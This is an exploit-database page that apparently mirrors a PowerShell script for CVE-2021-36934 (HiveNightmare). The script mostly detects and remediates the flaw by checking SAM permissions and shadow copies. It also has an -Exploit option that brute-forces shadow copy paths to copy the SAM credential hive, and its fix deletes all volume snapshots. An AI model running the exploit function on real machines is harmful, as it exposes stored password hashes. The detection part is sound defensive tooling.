Exploit database

GH-40c5868fda40e39787c9313039a71b09

n3tsurge/cve-2021-36934

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2021-36934

28 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files5
n3tsurge/cve-2021-36934Revision ed4a4b8c8033

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

Get-HiveNightmareStatus.ps1

PowerShell · 7,416 bytes
<#
    .SYNOPSIS
    Detects and Remediates HiveNightmare aka. SeriousSam
    Author: Brian Carroll (github.com/n3tsurge)

    .DESCRIPTION
    Detects and Remediates HiveNightmare aka. SeriousSam
    References:
    -	https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-36934
    -	https://www.kb.cert.org/vuls/id/506989
    -	https://doublepulsar.com/hivenightmare-aka-serioussam-anybody-can-read-the-registry-in-windows-10-7a871c465fa5

    .PARAMETER Remediate
    A switch indicating the utility should fix the vulnerability

    .PARAMETER PostureCheck
    Forces the script to return True/False depending on the vulnerability status

    .PARAMETER Exploit
    Exploits the vulnerability

    .PARAMETER Force
    Forces remediation even if all checks are healthy

    .PARAMETER CheckVSSStatus
    Runs an additional check to see if VSS is even enabled.  Defaults to false

    .OUTPUTS
    System.String. Add-Extension returns a string with the extension or file name.

    .EXAMPLE

    .EXAMPLE
    PS> Get-HiveNightmareStatus
    [*] System not vulnerable

    .EXAMPLE
    PS> Get-HiveNightmareStatus
    [!] Detected improper SAM hive permissions - System may be vulnerable
    [!] ShadowCopy service is running, system may be vulnerable depending on SAM permissions and available snapshots
    [!] ShadowCopy volumes available, system may be vulnerable depending on SAM permissions
    [!] All conditions exist for exploit of CVE-2021-36934
    [*] Run the script again with the -Remediate flag to fix.  ".\Get-HiveNightmwareStatus -Remediate"

    .EXAMPLE
    PS> Get-HiveNightmareStatus -Remediate
    [!] Detected improper SAM hive permissions - System may be vulnerable
    [!] ShadowCopy service is running, system may be vulnerable depending on SAM permissions and available snapshots
    [!] ShadowCopy volumes available, system may be vulnerable depending on SAM permissions
    [!] All conditions exist for exploit of CVE-2021-36934
    [*] Resetting SAM permissions
    [*] Clearing VSS snapshots
#>

param(
    [Parameter(Mandatory = $false)][Switch]$Exploit,
    [Parameter(Mandatory = $false)][Switch]$Remediate,
    [Parameter(Mandatory = $false)][Switch]$PostureCheck,
    [Parameter(Mandatory = $false)][Switch]$Force,
    [Parameter(Mandatory = $false)][Switch]$CheckVSSStatus
)

function Test-Administrator {
    # Tests to make sure the user is an administrator
    $user = [Security.Principal.WindowsIdentity]::GetCurrent();
    (New-Object Security.Principal.WindowsPrincipal $user).IsInRole([Security.Principal.WindowsBuiltinRole]::Administrator)
}

function Get-SAMPermissions {
    
    # Checks the permissions on the SAM registry hive to detect regular user READ permissions
    if (( Get-Acl C:\windows\system32\config\sam).Access | ? IdentityReference -match 'BUILTIN\\Users' | Select-Object -expandproperty filesystemrights | Select-String 'Read') { 
        Write-Host "[!] Detected improper SAM hive permissions - System may be vulnerable" -ForegroundColor Red
        return $true 
    } else { 
        Write-Host "[*] SAM Permissions check passed" -ForegroundColor Green
        return $false }
}

function Get-VSSStatus {
    $running = (Get-Service vss).Status
    if ($running) {
        Write-Host "[!] ShadowCopy service is running, system may be vulnerable depending on SAM permissions and available snapshots" -ForegroundColor Red
        return $true
    } else {
        Write-Host "[*] ShadowCopy service is not running, however snapshots may still be available" -ForegroundColor Green
        return $false
    }
}

function Get-VSSSnapshots {
    
    # Detects if snapshots are available
    $snapshots = (Invoke-Command -ScriptBlock { vssadmin list shadows /For=C: })
    $snaps = @()
    $snapshots | Select-String -AllMatches -Pattern "Shadow Copy Volume\:(.*)" | ForEach-Object { $snaps += @($_.Matches.Groups[1].Value) }
    if($snaps.Count -gt 0) {
        Write-Host "[!] ShadowCopy volumes available, system may be vulnerable depending on SAM permissions" -ForegroundColor Red
        return $true
    } else {
        Write-Host "[*] No ShadowCopy volumes available" -ForegroundColor Green
        return $false
    }
}

function Invoke-FixHiveNightmware {
    # Perform the Microsoft fixes

    Write-Host "[*] NOT IMPLEMENTED YET"
    Invoke-Command -ScriptBlock { icacls C:\Windows\system32\config\*.* /inheritance:e }
    Invoke-Command -ScriptBlock { vssadmin delete shadows /For=C: /All /Quiet }

}

function Invoke-HiveNightmare {

    # This actually performs this attack

    $username = $env:USERNAME
    $outPath = "C:\Users\$username\Documents\SAM.export"
    
    # Standard users dont have access to vssadmin list shadows so bruteforce the first available
    # snapshot and try it until we find one that works.
    # In testing my first snapshot was \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy32 due to a tool
    # that I use
    1..100 | % {
        $fullPath = "\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy" + $_ + "\Windows\System32\config\sam"
        Write-Host "Trying snapshot path $fullPath"
        $success = try { [System.IO.File]::Copy($fullPath, $outPath) } catch { $null }

        if($null -ne (Get-ChildItem -Path $outPath -ErrorAction SilentlyContinue)) {
            break
        }
    }
}

if ($Exploit) {

    Write-Host "[!] Exploiting HiveNightware to copy the SAM file to your home directory"
    Invoke-HiveNightmare    

} else {

    if(Test-Administrator) {

        $sam_vulnerable = Get-SAMPermissions
        if ($CheckVSSStatus) {
            $vss_running = Get-VSSStatus
        } else {
            $vss_running = $true
        }
        
        $snapshots_exist = Get-VSSSnapshots
        
        $vulnerable = $false
        if($sam_vulnerable -and $snapshots_exist) {
            Write-Host "[!] All conditions exist for exploit of CVE-2021-36934" -ForegroundColor Red
            if(!$Remediate) {
                Write-Host "[*] Run the script again with the -Remediate flag to fix.  `".\Get-HiveNightmwareStatus -Remediate`"" -ForegroundColor Yellow
            }
            $vulnerable = $true
        }

        if($sam_vulnerable -and !$vss_running -and !$snapshots_exist) {
            $vulnerable = $true
            Write-Host "[*] Run the script again with the -Remediate flag to fix.  `".\Get-HiveNightmwareStatus -Remediate`"" -ForegroundColor Yellow
        }

        if(!$sam_vulnerable -and $vss_running -and $snapshots_exist) {
            if ($Force -and $Remediate) {
                Invoke-FixHiveNightmware
            } else {
                Write-Host "[*] SAM not vulnerable but snapshots may have previous versions where permissions were set improperly, recommend wiping snapshots to be safe.  If you have already performed this step and created a new snapshot post remediation, you can ignore this recommendation. `".\Get-HiveNightmwareStatus -Remediate`"" -ForegroundColor Yellow
            }
        }

        if ($Remediate -and $vulnerable) {
            Invoke-FixHiveNightmware
        }

        # Output a true/false for SCCM or other management tools to run this as a check
        if($PostureCheck) {
            if ($vulnerable) {
                $true
            } else {
                $false
            }
        }
    } else {
        Write-Host "[!] Script must be run as an admin to perform certain tasks...exiting"
    }
}